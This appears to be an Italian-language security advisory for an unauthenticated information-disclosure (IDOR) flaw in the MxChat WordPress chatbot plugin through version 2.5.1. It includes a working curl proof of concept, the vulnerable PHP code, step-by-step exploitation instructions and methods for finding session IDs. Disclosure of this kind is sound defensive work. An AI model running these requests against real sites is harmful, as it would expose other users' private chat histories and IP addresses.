
MxChat – Chatbot IA per WordPress <= 2.5.1 - Esposizione di informazioni senza autenticazione
Il plugin MxChat Basic non verifica la proprietà della sessione nell'endpoint AJAX mxchat_fetch_conversation_history, consentendo a utenti non autenticati di accedere alla cronologia delle conversazioni e agli indirizzi IP di altri utenti tramite vulnerabilità di Insecure Direct Object Reference (IDOR).
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=$SESSION_ID" \
-d "nonce=$NONCE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest" | jq
La funzione mxchat_fetch_conversation_history() nel file /includes/class-mxchat-integrator.php recupera i dati della conversazione basandosi esclusivamente su un session_id fornito dal client, senza verificare che il richiedente sia il proprietario della sessione. Ciò consente a qualsiasi utente non autenticato con un nonce valido (disponibile tramite JavaScript lato frontend) di accedere ai dati privati delle conversazioni di altri utenti. Inoltre, la cronologia delle conversazioni include gli indirizzi IP degli utenti memorizzati nel campo agent_name, che vengono divulgati insieme ai dati della conversazione.
La divulgazione dell'indirizzo IP avviene nel processo di memorizzazione dei messaggi:
Situato in class-mxchat-integrator.php:
361 // 4) Determine user_identifier
362 $user_identifier = $agent_name
363 ? $agent_name
364 : MxChat_User::mxchat_get_user_identifier();
Dove MxChat_User::mxchat_get_user_identifier() restituisce l'indirizzo IP dell'utente per gli utenti non autenticati:
9 public static function mxchat_get_user_identifier() {
10 if (is_user_logged_in()) {
11 $current_user = wp_get_current_user();
12 return $current_user->user_login;
13 } else {
14 return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15 }
16 }
Questo indirizzo IP viene poi memorizzato nella cronologia delle conversazioni come agent_name ed esposto quando vengono recuperati i dati della conversazione.
Gli ID di sessione sono incorporati direttamente nei nomi dei file caricati. Quando gli utenti caricano documenti PDF o Word tramite l'interfaccia di chat, i file vengono salvati con pattern di denominazione prevedibili: mxchat_{session_id}_{timestamp}.pdf e mxchat_word_{session_id}_{timestamp}.docx. Questo rende gli ID di sessione individuabili attraverso vari vettori di attacco: elencazione delle directory se l'indicizzazione del server è abilitata sulla directory di upload, accesso alla libreria multimediale di WordPress, potenziale indicizzazione da parte dei motori di ricerca, ecc.
Snippet vulnerabile da class-mxchat-integrator.php:
107 function mxchat_fetch_conversation_history() {
108 if (empty($_POST['session_id'])) {
109 wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110 wp_die();
111 }
112
113 $session_id = sanitize_text_field($_POST['session_id']);
114 $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115 $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116
117 if (empty($history)) {
118 wp_send_json_success([
119 'conversation' => [],
120 'chat_mode' => $chat_mode
121 ]);
122 wp_die();
123 }
124
125 wp_send_json_success([
126 'conversation' => $history,
127 'chat_mode' => $chat_mode
128 ]);
129 wp_die();
130 }
Naviga su qualsiasi pagina del sito WordPress di destinazione ed estrai il mxchat_chat_nonce dal sorgente della pagina. Il nonce è esposto nel JavaScript frontend come mxchatChat.nonce ed è disponibile a tutti i visitatori.
Identifica un ID di sessione (formato: mxchat_chat_{9 caratteri alfanumerici}). Gli ID di sessione possono essere individuati tramite i nomi dei file caricati se l'elencazione delle directory o l'accesso alla libreria multimediale è abilitato, oppure enumerati testando pattern sequenziali o valori comuni.
Esegui il seguente comando curl per recuperare la cronologia delle conversazioni da qualsiasi sessione:
curl -X POST http://example.com/wp-admin/admin-ajax.php \
-d "action=mxchat_fetch_conversation_history" \
-d "session_id=mxchat_chat_7jxi3jsdb" \
-d "nonce=YOUR_NONCE_HERE" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "X-Requested-With: XMLHttpRequest"
{
"success": true,
"data": {
"conversation": [
{
"id": "6903e8a1e195e",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863841925,
"agent_name": "IP.REDACTED"
},
{
"id": "6903e8a33c86a",
"role": "user",
"content": "I'm wondering if you can tell me about what website I am on?",
"timestamp": 1761863843248,
"agent_name": "IP.REDACTED"
}
],
"chat_mode": "ai"
}
}
Il campo agent_name contiene l'indirizzo IP dell'utente ($_SERVER['REMOTE_ADDR']) per gli utenti non autenticati, che viene divulgato insieme ai dati della conversazione.